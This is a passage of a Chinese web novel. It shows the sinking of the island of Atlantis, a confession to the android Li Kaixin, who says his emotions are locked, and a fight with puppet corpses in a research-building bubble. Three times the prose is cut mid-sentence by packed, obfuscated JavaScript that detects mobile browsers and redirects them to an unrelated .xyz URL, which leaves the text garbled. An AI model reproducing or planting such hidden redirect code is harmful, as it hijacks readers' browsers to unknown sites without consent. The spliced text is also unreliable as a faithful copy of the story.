地表颤动。李开心仍然定定望着她,目光没有分毫移动,自怀中掏出一卷羊皮纸,在言笑面前展开,“现在,把字符补全。” 经历过太多剧烈地动,此时的摇晃温和如同摇篮。可言笑明白的,当火山真正爆发,地狱之火燃烧起来,阿特拉斯将会在这摇篮里灰飞烟灭。视线停留太久,羊皮纸上的字符开始模糊、跳跃,言笑恍然透过空白之处看到遥远的墨迹,那墨迹像是一直贮存在她记忆深处里。 而地动之中这些字符终于鲜活起来,像水中浮出人鱼,熔岩与沸腾的热水混合,人鱼的眼睛闪亮如同晶莹钻石。 “露娜,露娜!” 言笑攥着羊皮纸闯入宫殿,身后跟着李开心与几尾人鱼。康莱德紧闭双眼一动不动,身体靠着床架;露娜伏在他膝上,轻轻哼着一首儿歌。 “他死了。”露娜起身,平静道:“是我杀了他。” 言笑顿时如鲠在喉。 露娜看着言笑的僵硬表情,忽然笑了,笑得眼尾弯曲,就好像真有什么可笑的事,“骗你的,他只是被我下了药。你们离开的时候可以带走他吗?不这样他不肯走。”又回头凝视康莱德,惋惜道:“只是来不及给他包些点心带着。你还记得守卫休息处的那种点心吗,哥哥刚来到王宫的时候,他带我去偷吃过。他在王宫外受过苦,所以觉得那种点心就已经很好吃了。我不肯吃,他就告诉我,就是因为点心本身没什么味道,饼皮里的那点甜才更让人难忘。” “露娜。”时间紧迫,言笑不得不打断露娜漫无边际的回想,“字符补全了。” 阿特拉斯之所以被海神创造,是因为海神将其当作囚禁恶魔的炼狱。倘若恶魔挣脱,火山爆发,恶魔出世,整个世界将陷入灾祸。但若人鱼吟唱咒语,岛屿中的气室坍塌,阿特拉斯就会沉入海底,恶魔也将永远被海洋封印。 绝境之中露娜终于有了选择,但也没有选择。 地动加剧,空气中似乎带了硫磺的气味,或许热水与滚烫岩浆正在翻涌出火山口,整座岛屿濒临崩裂。 露娜接过羊皮纸看了看,将其递到卡菲手里。 “沉岛吧。” 露娜看不懂人鱼语,但看不看得懂都已经没有意义。战车承载的火焰失控,岛屿化作火种,薇拉的预言没错,确实是言笑与李开心使阿特拉斯免除被地狱之火吞噬的命运。 后来那位王子再也没去守卫的休息处偷吃点心。他窥破了本应永远掩埋的秘密,自知站着不应属于他的位置,一旦秘密揭破,他将尸骨无存。而他不过是选择在秘密揭破前下手,要么得到一切,要么失去一切,从来没有第三个选项。他没有回头或踟蹰不前的权利,他也不得不忘记守卫的点心有能嚼出甜味的饼皮。 当人鱼吟唱再次响起,大雨如瀑落下,阿特拉斯伴随凄凉挽歌缓慢下沉,露娜在倾斜的宫殿中翻找出从前写的话本。 “我是暗夜里的舞者,我承载沉重的星光! “我终将灿烂辉煌,我是这世间的太阳!” 23. 阿特拉斯11 言笑醒来时发现自己吃了一嘴沙子,是从阿特拉斯带出来的。她和李开心正趴在飞船前方。如果不是穿越到刚经历过大爆炸的宇宙,他们之前那纵身一跃恰好可以让他们落在这里。 海岛重新成为渺远的传说,言笑怅然若失。 “你说阿特拉斯真的存在过吗?露娜真的存在过吗?” 李开心起身,又将言笑拉了起来,“别想太多。这只是泡泡中的故事而已。” 道理确实是这个道理。言笑打个哈欠,“行吧,散了散了,各回各家各找各妈。下个泡泡见。” 李开心道:“你回家不安全,我给你找家旅馆。” 言笑刚才也就随口那么一说,回家当然是不可能回家的,钱还没攒够,不能那么容易把小命折进去。言笑说:“不用。”停了停,又说:“先不去旅馆,我想找个医院看看眼睛。” “你眼睛怎么了?” 这两天言笑眼睛一直不太舒服,眼珠子涩得生疼,有时候眨两下都费力,可能是干眼症。李开心说他在下城区有相熟的医生,言笑一听正好,熟人不用费劲排队,遂上了车跟李开心走。 诊所在一条小巷最深处。刚下过雨,石板路上覆着一层全息墨绿青苔,要不是脚感实在太涩,言笑都怕被心理暗示忽悠得滑一跟头。巷子是有百来年岁数的红砖垒起来的,砖块里出外进,墙壁就也带着犬牙交错的美感,唯一不好的地方就是垒太高了挡光。言笑静不下来,想啥问啥,“这个医生会看眼睛吗?” “应该还行。” 下城区没有专科医生,医生都兼着好几个科室和好几项手艺,比如言笑小时候给她打针的医生兼职砌墙,下班以后还给言笑补过她家外墙被猫挠出来的窟窿。差不多能看就行,言笑也不挑,七扭八拐,跟李开心进了门。 “呦,小八,好久不见。” 眼前是颗卷发灰白的蓬乱脑袋,肤色蜡黄,面颊瘦得凹陷,眼镜片像圆规画出来的,一件袖口沾了油渍的脏兮兮白大褂,破旧袖口外露出一截绿色秋衣。 “赵医生。”李开心点点头,算是打招呼。 赵钱孙给言笑做了几项检查,磨磨蹭蹭,手还直哆嗦,末了说言笑的眼睛没有任何器质性病变。 “所以这可能是心理问题引起的。”赵钱孙得出结论。 言笑瞪他,桌上龙飞凤舞的病历转眼写了一半。“这么玄乎吗?” “挺常见的。” “我没有心理问题。” 赵钱孙显然没听言笑讲话,眉飞色舞,“比如说你觉得你没有泪腺,泪腺就不工作了,泪腺不工作没有眼泪,那就是干眼症呗。”刷啦一下,从砖头厚的病历本上撕下言笑的病历,“药房拿几瓶眼药水滴一滴。” 上车,言笑百无聊赖把眼药水的小盒子抛在手里玩儿,“你说我是不是应该换一家旅馆?” 李开心“嗯”了一声,没多说话。 小盒子角落有个绿色图标,上书四字:温氏药业。作为联盟首屈一指的财阀家族,温氏早已将触手伸至各行各业,产品好不好另说,这四个字就值不少钱。言笑心里吐槽一瓶眼药水顶她半个月饭钱,转念一想她现在也算个有钱人,再熬熬就能在上城区置业了,遂又开心起来。 李开心开车一直绕路。言笑问他原因,李开心就说是为了避开监控。后来绕路绕到下城区东南向的犄角旮旯,掌柜是个老太太,只肯收现金,眯着眼睛从抽屉里给言笑找钥匙。 言笑顺手拿衣角把钥匙擦了擦,问李开心,“你跟我上楼呗?” 李开心说:“不必,我要回去述职。” 言笑坚持,“万一房间里不安全怎么办?有监控或者,或者,”言笑舌头打了个绊儿,然后立刻找到说辞,“或者门锁不结实。” “不会。” “你怎么知道不会?” 言笑不由分说,推着李开心的后背把他往楼上赶。来都来了,李开心只好替言笑检查了房门,然而刚走进房间,身后房门忽然“砰”地关合,言笑绕到李开心身前,啵叽把手杵门上。 李开心被言笑推得倒退好几步,言笑正仰头看他。 这招是言笑在21世纪的古早小说和连续剧里学的,那时候人们管这叫“壁咚”。只是身高差距太大,言笑照葫芦画瓢之后才反应过来应该先让李开心坐下,可反正已经来不及了,气势总得给足。 “你亲我了。” 言笑理直气壮。 理论上讲那不算亲,在归墟给言笑渡气纯粹是为了救命,但既然要赖上他,无耻一点也没什么大不了——而且就得李开心这种话少的,撩起来才有意思。 李开心说:“没有。” 语调四平八稳。 “我不管,我说有就是有。”身高差距委实影响气场,言笑回头瞅瞅,小跑着拖来个凳子,再往凳子上一站,总算高过了李开心。 李开心认真解释道:“那是为了救你。” 扯来扯去没完,言笑干脆把话挑开,耀武扬威,拦路收过路费的山大王一样,“李开心,我喜欢你,你跟我好呗?” 言笑不知道李开心的瞳孔有什么功能、他的眼睛设置是不是与人类设置一样,可在这一秒言笑发誓她看见李开心瞳孔收缩,睫毛也颤了一下,像是被光灼到了,灰色虹膜化作一汪模糊的湖,湖水浸润湖心黑洞般的岛屿。 言笑心里也像被光灼了一下。那光像只幼小的手,在言笑心上挠得痒痒,言笑痒得快要笑出声来,只觉但凡看见李开心就会开心得想笑——当你足够喜欢一个人,那人的存在就是你满心愉悦的理由。 许久,李开心说:“我是机器。” 言笑挠了挠头,一脸困惑,“所以呢?人类不可以喜欢机器吗?机器怎么了?”说着反应过来,她怎么莫名其妙把自己带跑了,遂握住李开心的肩膀强迫他抬头仰视,硬把话题扯回关键,“人类可不可以喜欢机器不重要,你就告诉我,机器不可以喜欢人类吗?” 李开心平静道:“不可以。” 在言笑对李开心捉襟见肘的了解里,李开心是不倾向于说谎的人。如此直截了当的答案完全在言笑的预料范围之外,言笑愣住,下意识松开了手。 “我的程序被上过情感锁。” 无需李开心具体解释情感锁是什么,言笑也能听出这不是好东西。言笑想起阿西莫夫机器人学第一定律:机器人不得目睹人类个体将遭受危险而袖手不管。 像是桌子一抬,叮铃咣啷的小心思七零八落,这一刻言笑遭受了情绪上的掀桌,敢情所有细枝末节都是自作多情——也是,李开心作为首屈一指的人工智能,服务精神估计早在程序里拉满了。 那只手又缩了回去,如同被刀片割伤的小孩,撇着嘴苦着脸,哇哇大哭。 半晌,言笑从凳子上跳下来,搓搓发僵的面颊,又大度地摆摆手,“行了,走吧走吧。什么时候去下个泡泡再叫我——对了,这次进泡泡的工资记得打给我。” 李开心低下头,没再看她。房门打开,又再关上。房间安静下来。 言笑在房间里转了两圈,突然朝房门狠踹一脚。楼下掌柜老太太的嗓音登时摧枯拉朽穿过天花板,还一颤一颤的,“破坏房间扣押金!” 言笑大喊,“我付你三倍押金,再给我安两个门!” 很久没有进食,言笑饥肠辘辘,可估摸李开心还没走远,万一下楼再偶遇他可怎么办。言笑打开终端,消息噔噔噔噔往外蹦,还没来得及看,通话申请弹了出来。 “言笑你去哪儿了!” 秦笙吼如炸雷,登时天地变色,言笑当即脖子一缩,狗腿地满脸堆笑,“不是早跟你说我出差,出……”说到一半发现不对,“你家怎么了,出什么事了?” 原本整齐的房间乱得堪比飓风席卷而过,衣服、化妆品、立体画与颜料落了满地,被子有一半掉在地上,枕头歪歪斜斜,枕下隐约露出什么东西,像是相框一角。 高跟鞋声笃笃笃地戳刺太阳穴。秦笙在房间里走来走去,焦躁得扯头发,“我家被抢了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15017263|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>言笑忙问,“丢东西了吗?”心想秦笙那个衣服尺码一般人穿不了,冷柜里剩的半条猪腿可别让人顺走了。 鞋跟跺地声突然停下。秦笙欲言又止,脸色变幻一圈,继而愈发暴躁,“你别管了,你赶紧回来!” 回去只会徒增自身风险,没准儿还耽误去下个泡泡赚钱。言笑试图岔开话题,安抚秦笙,“你找人把家里门锁换了,东西收拾收拾。我现在暂时回不去,要不我给你叫个钟点工?” “言笑!” 言笑光速别开脸,只觉秦笙的影像马上要给她兜脸一拳。“那,那什么,既然已经遭贼了,我回去也没用啊!” “你回来。”秦笙掐着掌心,努力平复情绪,“我们搬家。” “下城区乱也不是一天两天了,没必要吧?再说搬哪儿去?你要带着我和我爸我妈搬家吗?” 秦笙一字一顿,美艳面孔咬牙切齿得甚至有些可怖。“你在哪儿?” “我我我我老板叫我!你先自己收拾着,等我回去唠啊!” 赶在影像真的给她兜脸一拳之前,言笑果断终止通话,又麻利地关上终端,以免秦笙再来找她。说来秦笙如此反应着实有点小题大做,下城区遭贼是常事,即使他们住的区域还算稍微凑合,入室抢劫依然屡见不鲜。言笑咬着指甲算账户余额,估摸只要再多进一个泡泡,存款就够在上城区边缘买下有三个卧室还带院子的小房子了。她的房间挤点儿没关系,可以给秦笙大房间,秦笙衣服多,房间太小放不下。言笑也不贪心,打定主意只要再多赚一笔就收手,进泡泡说不准是要磕命的,见好就收。 薪水准时入账,李开心一星期后出现在旅馆门口。这一星期言笑都没联系李开心,反正李开心总会来找她。 “你不高兴。”车内安静五分钟后,李开心得出结论。 言笑没好气地哼了一声,“上班有什么可高兴的?” 进泡泡对言笑而言等同于上班,上班不过为那么碎银几两,又不是同事给发薪水,何必赔上好脸色。 核动力车驶过科研园区的岩石大门,言笑往窗外乱看,嘴里哼着歌,硬是梗着脖子不肯扭头瞅李开心。李开心也不挑她,只提醒道:“要加速了。” 之前加速加到上千也没摔死,现在言笑也算十分见过世面。李开心揿下加速键,拉动操纵杆,言笑泰然自若贴着座椅坐好,不动声色抓紧扶手。 飞船越来越近,纤薄金属如同无限延展的墙壁,巨浪一般扑面而来。言笑扫了控制台一眼,车速才三百多,甚至不需要飞行,估计又像进入鹦鹉螺城那样—— 轰隆一声巨响,言笑眼前一黑。内脏在躯体中尖叫,像在争先恐后破裂出血,言笑仿佛瞬间灵魂出窍,甚至感觉不出哪儿疼。 核动力车重重撞上飞船。 车身弹开,天地倒转,言笑猜测自己可能晕过去了一小会儿,因为她听见李开心在她耳边叫她名字。 “言笑,言笑?” 服了。泡泡里没给命磕掉,差点在外面让李开心送走。言笑头昏脑胀地勉强睁眼,嗓子颤得像开了电音,“你靠不靠谱啊你?这算工伤吗?” “我也不知道为什么会这样。这种事情从没发生过。” “那怎么办,再撞一次?” “先回去吧,过两天再说。我先查明原因。” 李开心原路开车回去。言笑渐渐缓过来了,活动活动筋骨,好像也没觉得有哪里特别难受。看来这车安全系数挺高,都撅过去了人也没怎么伤到。 “等会儿。咱们怎么走这儿来了?” 不用言笑开口,李开心也已经发现不对——经过科研大楼,应该很快就到园区门口,可车开着开着,竟又回到科研大楼。 仪表紊乱,信号中断,继续向前行驶,科研大楼再次出现。 李开心沉声道:“我们在兜圈子。” 言笑食指敲着下巴,“又或者……” “或者什么?” “或者……我们现在已经在泡泡里了。” 24. 魔方01 反正也兜不出去,两人决定下车进入科研大楼。车门自动上锁,言笑故意走在李开心前面,快到大楼门口时还是脚步一顿,回过了头,“你以前来过这里吗?” 李开心仰头望向十数米高的辉煌大门。铅灰色的玻璃幕墙,并没有如其名般斑斓的魔方色彩。“你可以认为我来过。” “你是不是讲话不绕弯子难受?” 李开心深吸一口气,认真回答,“曾经有许多年,我的程序被接入到这里,做社会化训练,但那时我没有躯体——只有一次,一位研究员给了我一副临时躯体。” 言笑迅速提取有效信息,“所以你很了解这里,对吧?” “可以这么说。” “里面是什么样?” “有各个领域、各个研究方向的实验室。一层和地下一层是餐厅,四十一层也有餐厅。魔方实验所中最特殊、最有价值的是魔方实验室,在魔方大楼顶层,每代研究员不超过八人,只有顶尖智力的幼童可以进入并被自小培养。魔方实验室决定了魔方实验所的研究方向——或者换个不能搬上明面的说法,如果没有魔方实验室,魔方实验所毫无价值。” 言笑本意是想问,这幢楼里大概是什么结构,哪想李开心嘚嘚半天没一句有用的。言笑懒得再问,推门就要进去。 大门沉重得出奇,言笑推动时仿佛看见里头透出隐隐红光。李开心快步上前,啪地一手按在门上,与言笑一起推。挽起衣袖的手腕就在言笑耳边,突出的血管像是落在言笑耳朵上的羽毛。言笑被挠得痒痒,不自觉地搓搓耳朵。 推着推着,言笑觉出邪门来了。 言笑自己推门虽然不太推得动,可门也能摇晃几下,再加上李开心的力气,没道理仍然举步维艰。然而李开心的加入并没有让推门变得轻而易举。红光一点一点扩大,当言笑使出吃奶力气一撞,大门终于敞开90度角,与此同时门内被按下音量键,此前一直寂静无声,这一刻却突然响起舞曲。 没有预料之中冷淡肃穆的大厅、电梯和餐厅,入目是一片巨大的红色空间,言笑估量这非常近似一个正方体,因为看起来长宽高几乎相同。红色空间的两侧摆着长长两溜茶点桌,上面堆满精致的点心、蛋糕与糖果,水果盘子里有切好块的西瓜和哈密瓜,上百个流光溢彩的杯子中斟满颜色各异的饮品。 按照言笑在泡泡里的习惯,能填肚子必须先填肚子,可此时言笑却丧失了这一本能,与李开心齐齐望着眼前的舞池。身着华服的男男女女正在跟随舞曲的节奏跳交谊舞,舞步激昂得如同不知疲倦,女士们的绸缎裙摆缀满水晶与钻石,在半空翻出浓艳绮丽的光澜。 言笑目不转睛,“这幢大楼是长方体,对吧?” “是。” “那……进门就是封闭立方体,科学吗?” 两人对视一眼,立刻扭头就走,然而当头就是贴着红绒墙纸的墙壁,大门不知何时已消失无踪。 “得,既来之则安之吧。”言笑又转回身来,不见外地奔着茶点桌去了。舞曲已到间歇,还没等言笑吃上,涂着浓重眼影的女人走了过来,向言笑做出一个邀请的手势。 言笑压根不会跳舞,现在满心惦记着吃,可大概是出于动物本能,言笑竟奇异地没有立刻出言拒绝。这个女人在笑,却不说话,不同于前两个泡泡里的鲜活NPC,她让言笑觉得像个人形木偶。 一个身穿燕尾服的男人也向李开心发出邀请。李开心朝言笑使了个眼色,言笑秒懂,将手放在女人掌心,与她一起走向舞池。 李开心这么做一定有他的道理,这里的NPC明显看起来不好惹。 另一支轻快活泼的舞曲响起,女人将言笑的手放在自己腰上,又搭住言笑肩膀,引着言笑迈出步子。言笑穿得随便,混在其中比小丑还格格不入,可已经被架这儿了,只能硬着头皮瞎跳一气。 舞步不难,言笑很快跳得似模似样。两只曲子之后言笑总结出来,在这里跳舞的重点是交换舞伴,男女其实没那么重要。言笑出门前就没吃饭,进了泡泡先车祸后跳舞,现在饿得前胸贴后背,眼睛疯狂往茶点桌乱瞟。 舞曲终结,舞伴之间互相行礼。言笑低着的头没完全抬起,戒备地一小步一小步往后挪着,想试试看去划拉点儿东西吃,也不知道这群NPC会怎样。 刚倒退几步,咕咚撞上什么东西。 言笑头皮一麻,噌地回身。劫她路的是个戴着礼帽的男人,皮肤白得甚至能看清额头青色的血管,嘴唇红而湿润,彬彬有礼向言笑伸出了手。 这人虽然看着没什么破绽,却莫名给言笑一种能勾出人风湿病的阴森感。言笑大着胆子向茶点桌指了指,试图让对方明白她只是想去吃东西。对方不为所动,忽然强行拉住言笑,将言笑又拽回舞池。新一轮舞蹈开始,言笑心中叫苦不迭,想着这破舞跳到什么时候是个头啊? 李开心的站位距离言笑不远,只要再换一次舞伴,就轮到言笑与李开心共舞了。言笑早把从李开心那儿碰的钉子忘得一干二净,盼星星盼月亮地等着换舞伴,好不容易轮到李开心牵起言笑的手,言笑哭丧着脸低声问他,“他们不让咱们停下,怎么办啊?” 李开心压低嗓音,“先别轻举妄动。注意观察空间内的所有细节,或许有什么关窍。” “要是没有呢?” “不会的。还记得我说过吗,泡泡不会让我们死。泡泡不会让你死。” 李开心紧紧扣住言笑的手指。因为骨骼太长,指尖的一小片皮肤按在言笑的手背上。言笑被李开心这近乎凶狠的力道捏得心里发慌,脑子一抽,忽然问他,“那其他那些和我长得一样的人,都是怎么死的?” “她们没有一个死在泡泡里。” “我靠?”言笑这才反应过来她刚才问了什么,李开心又答了什么。“真死了啊?还死在泡泡外面?” 茶点桌上的点心盘子银光闪闪,或许磨过之后能拿来放血;西瓜上有小叉子,适合用于叉颈动脉;桌后有个插着花的花瓶,花瓶可以给人爆头。 凶器有了,关窍一点都没看见。 一曲终结,李开心放开言笑的手,向后退步,对言笑行了个礼。言笑也深深鞠躬,给他回礼,像在为舞台剧谢幕。地面轻轻震颤,这次站在言笑对面的仍是刚才那个涂着浓重眼影的女人。言笑近乎羡慕地望着舞伴的雍容长裙,热切牵起女人的手,对着她笑,一如欣赏她裙摆上闪亮的钻石。 “Andweallloseourcharmsintheend, “Butsquare-cutorpear-shaped, “Theserocksdon''tlosetheirshape, “Diamondsareagirl''sbestfriend!” 跳吧,跳吧!即使宇宙终有一天走向死亡,恒星依然会在最后一秒发出炽热光亮!我们是尘埃,是光,是磅礴星云,是黑暗与接纳,是无尽,是充满未知与迷信的不确定。言笑渐渐忘记饥饿感,沉浸在奔腾的乐曲与舞蹈之中。节奏加快,快,快,再快一些!周围的一切都飞起来吧!都环绕我们吧!来啊,酒杯与酒,还有懒惰的蛋糕与西瓜! 言笑发现自己属于他们,属于这群用生命狂舞的人。水果爆裂开来,奶油成了抹在脸上的油彩,舞步很重也很轻,像在太空漫步。言笑看见极远处的超新星爆炸,她在强烈的能量与光中跳舞。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024922|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “言笑,醒醒!言笑!” 星辰与光亮骤然被唤声剥去色彩,言笑困惑地眨眨眼,“李开心?” 李开心用力摇晃言笑的肩膀,“你看仔细!他们不是活人,他们是被线吊住的尸体!他们的头顶、脖子上、还有四肢上都有一根线,你看见了吗!” 言笑正与李开心共舞,两人始终在舞池中保持着惯性似的舞步。经李开心提醒,言笑仓皇看向四周,倏忽毛骨悚然,头皮里炸了一颗闷雷。 周围的NPC个个眼歪嘴斜,脸上尽是淤青、血迹与尸斑,衣服破烂得像是刚从棺材里挖出来,身上吊着数根明晃晃的丝线。可怪就怪在,这些人明明自始至终都是这副模样,但若李开心不把话说破,言笑偏就着魔似的发现不了。 言笑用力咽咽唾沫,“这,这怎么办?” “交换了两圈舞伴,房间没有任何改变,我们不能再一直这样跳下去了。” 饥饿感与疲倦感再次返回躯体,言笑脚都快断了,步伐踉跄,勉强撑着李开心的手臂省下几分力气,“难道要杀了他们?可如果不出意外,他们本来就是死的。房间一没有出口,二没有武器,万一把他们惹了却杀不死他们,今天咱俩就要变盘菜了。” 李开心密切注视着周围NPC的动向,贴在言笑耳边说:“往角落走。一旦打起来,你可以躲在我身后。” 伸头是一刀,缩头也是一刀。言笑大着胆子与李开心一同停下舞步,背对墙角的方向缓慢后退一步。 再一步。 NPC忽然齐刷刷掉过头来,空洞肿胀的眼窝像一个个凹陷的深坑。李开心攥紧言笑的手,将言笑挡在身后。言笑被看得汗毛倒竖,但还是脚尖抵地,转两圈脚脖子,握紧拳头跃跃欲试,“别看不起我,我从前玩游戏也没少打架。拼力气我不太行,但打赢还是有一套的。” 李开心没回头,低声问她,“怎么打?抠眼珠子?” “你倒是很了解我——” 话音未落,众NPC忽然眼冒污血,疯了一般龇出獠牙,踮着脚尖跌跌撞撞向二人冲来。李开心这身体也不知道是什么做的,一拳招呼过去,死尸的脸塌了半边,拳头却还完好无损。 厉害啊。言笑在心里赞叹,干脆利落抄起手边花瓶,向距离自己最近的脑壳重重一砸。花瓶碎成碎片落了一地,然而脑壳的主人似乎毫发无伤,抬起颓败发黑的脸,朝言笑伸出枯树似的手来。 “我这是什么开过光的嘴啊!”言笑举起花瓶残骸,将尖角狠狠插入死尸的眼睛。“真打不死,怎么办?” 李开心已经顾不上回答她了,脚底匍匐着一圈行尸走肉。只是无论李开心下手多重,NPC总会锲而不舍再爬起来,春风吹又生一样,颤颤巍巍朝李开心生扑。 死尸被扎中眼睛,张大嘴巴发出无声的嚎叫,突然利爪疾出,就要擒拿言笑的脖子。言笑反应极快,死死捏住对方手腕,可是力气太过悬殊,这手还是一寸一寸向言笑的脖颈逼近。继续硬拼下去早晚得被捏死。言笑咬咬牙,尽量将全身力气放在右手用于抵挡,左手往小腿一抹,抽出一把匕首。然而左手一松,力道就卸了,枯手啪地按在言笑颈间,几乎要扒下一层皮来。言笑高高举起匕首,想都没想就冲那枯手刺了下去。 这下用力太狠,直接将那枯手刺个对穿。锁骨上传来一阵锐痛,言笑龇牙咧嘴,挑开枯手,一脚踹在死尸肚子上。 死尸踉跄几步,绊了个跟头。言笑总算松了口气,往后撑着桌子,手在桌面一摸,竟摸到之前藏在花瓶后方的东西——金属,有点儿凉。 言笑回头看了一眼,顿时喜上眉梢,中气十足地放声大喊,“你帮我把它架住!我知道怎么对付它了!” 25. 魔方02 那是一把剪刀。 长长的、尖利的剪刀,像是备在那里用来剪花枝的。 言笑抄起剪刀,张牙舞爪躲在李开心身后,耀武扬威地叉腰指挥,“你把它们打倒!我把它们的线剪了!” 有明确目标后,李开心的攻击重点不再放在重创死尸上,而是压制它们,方便言笑剪线。言笑唰唰剪断几根,果然死尸被剪线后就失去了运动能力,四仰八叉歪在地上,再难发难。言笑左右开弓,一手剪刀一手匕首,可未曾想这匕首竟不好用,唯一的作用只能是叉死尸眼珠子。 NPC越围越紧,言笑剪线剪得手忙脚乱,几乎快要跟不上李开心撂倒NPC的速度。最大的配合障碍其实是身高差,可以言笑的战斗力又不能和李开心互换任务。言笑瞅准时机,手脚并用爬上身旁的茶点桌,登时一览众山小,连剪线都更顺手了。 然而随着倒下的NPC越来越多,余下的NPC似乎战斗力在加强。两人中间忽然涌来数具死尸,言笑甚至无法探身剪线。李开心想靠拳头打过去,却被一拥而上的NPC越拦越远。茶点桌周围围着数双枯手,言笑知道打不过,眼睛一闭,跃过众死尸的肩头跳下茶点桌。 原本言笑的计划是,绕过NPC然后躲到李开心身边寻求庇佑,但就在言笑双脚落地的瞬间,整个红色空间忽然剧烈震颤起来。NPC像是突然被按了暂停键,红色空间缓缓下沉。 “言笑!”李开心拨开僵硬的NPC,警惕地与言笑站在一起。 然而并没有新的危险发生。随着空间下沉,房间由红色渐渐变为紫色,NPC消失无踪,两人所置身之处由舞池变为了图书馆。 言笑仰头看着足有数米高度的书架,满脑门子冒汗:上次在阿特拉斯到处找怪物记载的悲惨过往依然历历在目,言笑直到现在都对纸质书PTSD。 “你刚才做什么了?”只要能逃避看书,现在唠点儿什么都好。言笑望天问道。 “我什么都没做。”李开心回答。 “我也什么都没做——不对,我从桌子上跳下去了。”言笑原地蹦了两下,紫色空间毫无变化,“好像和跳没什么关系。” 李开心向言笑的锁骨指了指,“你脖子这儿。” 言笑没当回事,“就这样吧,死不了。我这算不算游戏玩多了的后遗症啊,总感觉伤是假的,出去就没事了。” 李开心在诸多书架中间转了一圈,没找到医药箱。好在言笑伤得不重,伤口在空气中晾晾也没什么问题。言笑搓搓手,问他,“大腿,以你的丰富经验,这种关应该怎么过?总不会要把书都看一遍吧?” 李开心从兜里取出一颗骰子,放在书架角落,“泡泡里的经验很难互相借鉴,但目前看来除了看书,好像也没什么其他的解决方法。” 言笑忽然想起什么,“你在阿特拉斯留骰子了吗?” “宇宙和山海世界都留了。至于阿特拉斯,”李开心顿了顿,“衣服都没了,余下的骰子都在那儿。” “那行吧,你先看书,我歇会儿。”言笑打了个哈欠。刚经历过一场鏖战,言笑现在胳膊疼腿疼。“你是不是看见书就得找玄武?” “嗯。” “这是你的程序设置吗?所以你不能违抗?” 李开心从书架取出一本书,快速浏览翻阅,“不是程序设置,是指令。但指令同样不可违抗。” 书架旁有用于取书的梯子。言笑虽然懒得办正事,却爱爬高爬低,噌噌噌攀上梯子最高处,两条腿在半空自由自在晃荡着。 “什么什么实验记录,什么什么药物……”一看就是没意思的枯燥记载,言笑将这些正经内容直接略过,着意寻找乐子,比如这里或许会有“《整个实验室都在嗑我和我师兄的CP》”,“《在科研园区当万人迷》”或者“《财阀家的女装大佬》”诸如此类脍炙人口的八卦小说。 “什么什么机器研发,什么什么泡泡发现始末,什么什么……”言笑压根没过脑子地瞎念叨着,过了半天,忽然眼睛噌地亮了。 《泡泡发现始末》? 这段故事是李开心没细致讲给她听过的。李开心身上全是秘密——又或者说,李开心那是在秘密上长了个人——或许有些故事不是被无意忽略,而是被有意避开。言笑往李开心那儿偷瞅一眼,不见异样,这才假装若无其事地从挤挨得密密麻麻的资料当中抽出这本小薄册子。 李开心之前模糊提到,当局认为泡泡来自一位研究员的意识。小薄册子里大致也是这么写的,啰哩啰嗦的口水话中也不过是多出一点细节。 细节描述,这些泡泡最早被发现于飞船附近,后来才向魔方园区延伸。当时那位研究员刚死不久,联盟接管飞船进行调查,一切异象都发生在研究员死亡以后,假说自然只能将这两件事联系在一起。 还有这个研究员的名字,海棠。 “姓海,还挺稀罕的姓。”言笑咕哝着,继续往后翻。 泡泡第一次浮出水面是调查人员站在舷窗边时,往下掉了一颗袖扣。调查人员眼睁睁看着袖扣在半空消失无踪,泡泡的存在从此再藏不住。当局曾有过几年密集向泡泡派遣特种部队,有去无回。唯一已知可以在泡泡中自由来去的,只有编号112358的高级人工智能,并且经由112358探索,泡泡中可能存在遗失的超级武器“玄武”的数据。 言笑向李开心看了一眼,将小薄册子放回书架。既然书架上并不都是科学研究相关的无聊话题,说不准还能淘到什么东西。言笑来了兴致,逐本仔细阅读书脊上的标注,过不多时,又抽出了另外一本。 这本要厚得多,正儿八经像个科研著作,标题叫做《克隆大脑记忆复苏技术研究》。大脑作为人类身上最精妙、最复杂的器官,是无法通过基因打印的,唯一的复制再生方法是克隆。经克隆生成的人脑有一定概率产生大脑本体的记忆,根据数据显示,99%的自然发生记忆复苏来源于梦境。记忆的产生依托于神经元突触的建立,而所谓“克隆大脑记忆复苏技术”是指通过药物或各种手段,使克隆大脑突触再生,完全恢复本体记忆。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15028843|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 言笑仔细回想一番,朝李开心“哎”了一声,“有时候我会做一些奇怪的梦,这些都是我原身的记忆吗?” 李开心放下手中的书,“你在看什么?” 言笑让李开心过来,又把那本《克隆大脑记忆复苏技术研究》扔给他,两只脚悠闲地晃悠着,老神在在问他,“你给我注射过药物吗?” 